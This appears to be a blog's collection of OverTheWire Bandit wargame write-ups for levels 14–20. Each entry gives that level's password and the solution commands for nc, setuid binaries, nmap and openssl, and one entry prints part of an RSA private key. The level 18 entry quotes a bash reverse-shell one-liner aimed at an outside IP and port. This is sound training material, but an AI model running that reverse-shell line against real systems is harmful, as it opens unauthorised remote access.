Fantm-Attempts

Lessons Learned using nc to create a steady connection, also on background and foreground processes Logging in On a kali vm/ linux machine Type: ssh bandit20@bandit.labs.overthewire.org -p 2220 GbKksEFF4yrVs6il55v6gwY5aVje5f0j Completing The Challenge The Goal: There is a setuid binary in the homedirectory that does the following: it makes a connection to localhost on the port you specify as a commandline argument. It then reads a line of text from the connection and compares it to the password in the previous level (bandit20). If the password is correct, it will transmit the password for the next level (bandit21). The Solution: bandit20@bandit:~$ nc -l -p 2000 ^Z [1]+  Stopped                 nc -l -p 2000 bandit20@bandit:~$ ./suconnect 2000 ^Z [2]+  Stopped                 ./suconnect 2000 bandit20@bandit:~$ fg 1 nc -...

Lessons Learned some files change your euid/ effective user id, which allows you to act as another user through them. Logging in On a kali vm/ linux machine Type: ssh bandit19@bandit.labs.overthewire.org -p 2220 IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x Completing The Challenge The Goal: To gain access to the next level, you should use the setuid binary in the homedirectory. Execute it without arguments to find out how to use it. The password for this level can be found in the usual place (/etc/bandit_pass), after you have used the setuid binary. The Solution: bandit19@bandit:~$ id uid=11019(bandit19) gid=11019(bandit19) groups=11019(bandit19) bandit19@bandit:~$ ./bandit20-do id uid=11019(bandit19) gid=11019(bandit19) euid=11020(bandit20) groups=11019(bandit19)  bandit19@bandit:~$ ./bandit20-do cat /etc/bandit_pass/bandit20 GbKksEFF4yrVs6il55v6gwY5aVje5f0j

Lessons Learned ssh actions for when bashrc has immediate logout, also has advice on some reverse shell one liners Logging in On a kali vm/ linux machine Type: ssh bandit18@bandit.labs.overthewire.org -p 2220 kfBf3eYk5BPBRzwjqutbbfE887SVc5Yd Completing The Challenge The Goal: The password for the next level is stored in a file readme in the homedirectory. Unfortunately, someone has modified .bashrc to log you out when you log in with SSH. The Solution: kali@kali:~$ ssh bandit18@bandit.labs.overthewire.org -p 2220 'cat ~/readme' This is a OverTheWire game server. More information on http://www.overthewire.org/wargames bandit18@bandit.labs.overthewire.org's password: IueksS7Ubh8G3DCwVzrTd8rAVOwq3M5x Ive made reverse shells by doing one liner tcp calls using stuff like the following in the single quotes and by mixing commands using like the following: bash -i > & /dev/tcp/10.0.0.1/8080 0 > & 1  

Lessons Learned Using diff to find differences in files Logging in On a kali vm/ linux machine Type: ssh bandit16@bandit.labs.overthewire.org -p 2220 cluFn7wTiGryunymYOu4RcffSxQluehd Starting in Bandit16: -----BEGIN RSA PRIVATE KEY----- MIIEogIBAAKCAQEAvmOkuifmMg6HL2YPIOjon6iWfbp7c3jx34YkYWqUH57SUdyJ imZzeyGC0gtZPGujUSxiJSWI/oTqexh+cAMTSMlOJf7+BrJObArnxd9Y7YT2bRPQ Ja6Lzb558YW3FZl87ORiO+rW4LCDCNd2lUvLE/GL2GWyuKN0K5iCd5TbtJzEkQTu DSt2mcNn4rhAL+JFr56o4T6z8WWAW18BR6yGrMq7Q/kALHYW3OekePQAzL0VUYbW JGTi65CxbCnzc/w4+mqQyvmzpWtMAzJTzAzQxNbkR2MBGySxDLrjg0LWN6sK7wNX x0YVztz/zbIkPjfkU1jHS+9EbVNj+D1XFOJuaQIDAQABAoIBABagpxpM1aoLWfvD KHcj10nqcoBc4oE11aFYQwik7xfW+24pRNuDE6SFthOar69jp5RlLwD1NhPx3iBl J9nOM8OJ0VToum43UOS8YxF8WwhXriYGnc1sskbwpXOUDc9uX4+UESzH22P29ovd d8WErY0gPxun8pbJLmxkAtWNhpMvfe0050vk9TL5wqbu9AlbssgTcCXkMQnPw9nC YNN6DDP2lbcBrvgT9YCNL6C+ZKufD52yOQ9qOkwFTEQpjtF4uNtJom+asvlpmS8A vLY9r60wYSvmZhNqBUrj7lyCtXMIu1kkd4w7F77k+DjHoAXyxcUp1DGL51sOmama +TOWWgECgYEA8JtPxP0GRJ+IQkX262jM3dEIkza8ky5moIwU...

Lessons Learned using nmap to scan for available ports and services, then using openssl s_client to connect and give info to the port that can listen openssl, this is a method to look for open ports using certain technology that could be vulnerable. Logging in On a kali vm/ linux machine Type: ssh bandit16@bandit.labs.overthewire.org -p 2220 cluFn7wTiGryunymYOu4RcffSxQluehd Completing The Challenge The Goal: The credentials for the next level can be retrieved by submitting the password of the current level to a port on localhost in the range 31000 to 32000 . First find out which of these ports have a server listening on them. Then find out which of those speak SSL and which don’t. There is only 1 server that will give the next credentials, the others will simply send back to you whatever you send to it. The Solution: bandit16@bandit:~$ nmap -p31000-32000 localhost Not shown: 996 closed ports PORT      STATE SERVICE 31046/tcp open  unknown 31518/tcp open...

Lessons learned using openssl for encrypted connections Logging in On a kali vm/ linux machine Type: ssh bandit15@bandit.labs.overthewire.org -p 2220 BfMYroe26WYalil77FoDi9qh59eK5xNr Completing The Challenge The Goal: The password for the next level can be retrieved by submitting the password of the current level to port 30001 on localhost using SSL encryption. Helpful note: Getting “HEARTBEATING” and “Read R BLOCK”? Use -ign_eof and read the “CONNECTED COMMANDS” section in the manpage. Next to ‘R’ and ‘Q’, the ‘B’ command also works in this version of that command… The Solution: bandit15@bandit:~$ openssl s_client -crlf -connect localhost:30001 -servername localhost ... BfMYroe26WYalil77FoDi9qh59eK5xNr Correct! cluFn7wTiGryunymYOu4RcffSxQluehd Thoughts following the recommendation on the page lead me to feistyduck openssl-cookbook ch-testing-with-openssl, which is a webpage etc. there it showed me how to connect to a server. at that point i wanted to make it more complicated by fig...

Lessons Learned: Using nc to set up port connections Logging in On a kali vm/ linux machine Type: ssh bandit14@bandit.labs.overthewire.org -p 2220 4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e Completing The Challenge The Goal: The password for the next level can be retrieved by submitting the password of the current level to port 30000 on localhost . The Solution: bandit14@bandit:~$ nc localhost 30000 4wcYUJFw0k0XLShlDzztnTBHiqxU3b3e Correct! BfMYroe26WYalil77FoDi9qh59eK5xNr   Hint :  Make sure you log in directly, this cant be solved through the private key login.